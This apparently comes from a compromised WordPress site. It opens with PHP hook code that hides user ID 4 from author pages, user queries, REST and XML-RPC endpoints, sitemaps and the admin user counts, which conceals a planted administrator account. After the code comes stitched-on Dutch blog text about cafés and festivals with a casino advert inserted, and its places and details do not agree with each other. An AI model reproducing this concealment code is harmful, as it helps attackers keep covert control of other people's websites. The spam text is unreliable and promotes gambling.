add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 4;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 4;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 4;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
“De Schat” zit op de zijkant van de Winkelstraat, een smal steegje dat vaak over het hoofd wordt gezien. De barista serveert een cappuccino met een unieke koffie-van‑het‑uur die elke ochtend om 08:30 uur wordt gezet. Met een gemiddelde prijs van €5,30 is het een goede deal voor de kwaliteit. Het café heeft een beperkt menu: naast koffie, een kleine selectie croissants en een lokaal gebakken brood. Een nadeel is dat het geen Wi‑Fi heeft, wat voor werkende reizigers een hindernis kan vormen.
Dit jaar vindt het “Nijmegen Droom” plaats op 23 en 24 augustus op de Wittemarkt. De line‑up bestaat uit 15 lokale indie‑bands en één internationale dj die op 02:00 uur een set speelt. De toegangsprijs is €35 en de kaartjes verkopen al snel via de officiële website. Voor een extra bonus kun je een gratis drankje krijgen bij de “Horizon Bar” als je binnen 12 uur na aankomst arriveert. De enige keerzijde: de locatie heeft geen voldoende parkeergelegenheid, dus je moet een taxi nemen of het openbaar vervoer gebruiken.
In het hart van Maastricht, aan de Rijsselstraat, staat het kleine café “Kaas & Koffie”. De eigenaar serveert een uniek kaas‑café‑combo bestaande uit een stuk Goudse kaas en een espresso, voor €7,50. Het café is alleen open van 10:00 tot 22:00 uur, dus plan je bezoek in die tijd. Een pluspunt is het vriendelijke personeel dat altijd een aanbeveling heeft. Een minpunt is dat het café geen vegetarische opties biedt, wat voor sommige bezoekers een beperking kan zijn.
Op 15 en 16 september vindt het “Groningen Natuurfestival” plaats in de Oude Gracht. Het festival biedt een reeks workshops: “Wandel met de Wolf”, “Klim in de Bomen” en “Fotografie in het Bos”. De toegangsprijs is €12 en een extra €5 voor de lunchbox. Voor de jeugd is er een speciale “Jongerenhoek” met spelletjes en een creatieve hoek. Een nadeel is dat het festival niet toegankelijk is voor mensen met een handicap, omdat de route niet volledig rolstoeltoegankelijk is.
Na een dag vol cafés en festivals kun je de avond afsluiten met een digitale escapistijd. Als je zin hebt in iets anders dan de traditionele nachtleven‑opties, kun je een momentje spenderen aan Bruno Casino Online, waar je een verscheidenheid aan spellen kunt spelen zonder de deur uit te hoeven. De website biedt een gratis demo‑versie, waardoor je zonder risico kunt testen of het je bevalt.
De “Rotterdamse Rooftop Party” vindt plaats op het dak van het Witte de Withstraat gebouw, 15 augustus. De line‑up bestaat uit drie lokale DJ’s en een live‑band die speelt vanaf 21:00 uur. De toegangsprijs is €25 en je krijgt een gratis cocktail bij binnenkomst. De locatie heeft een beperkte capaciteit van 200 personen, waardoor het snel vol kan raken. Een ander nadeel is dat het dak geen geluidsisolatie heeft, waardoor het geluid door de straat kan dringen.

Dit weekend is er genoeg te doen: van een verborgen koffieplek in de Jordaan tot een nachtelijk festival in Nijmegen, met een digitale pauze via Bruno Casino Online in het midden. Vergeet niet om je tickets van tevoren te kopen, een parkeerplan te maken en je verwachtingen realistisch te houden. Geniet van de verborgen pareltjes die Nederland te bieden heeft!
]]>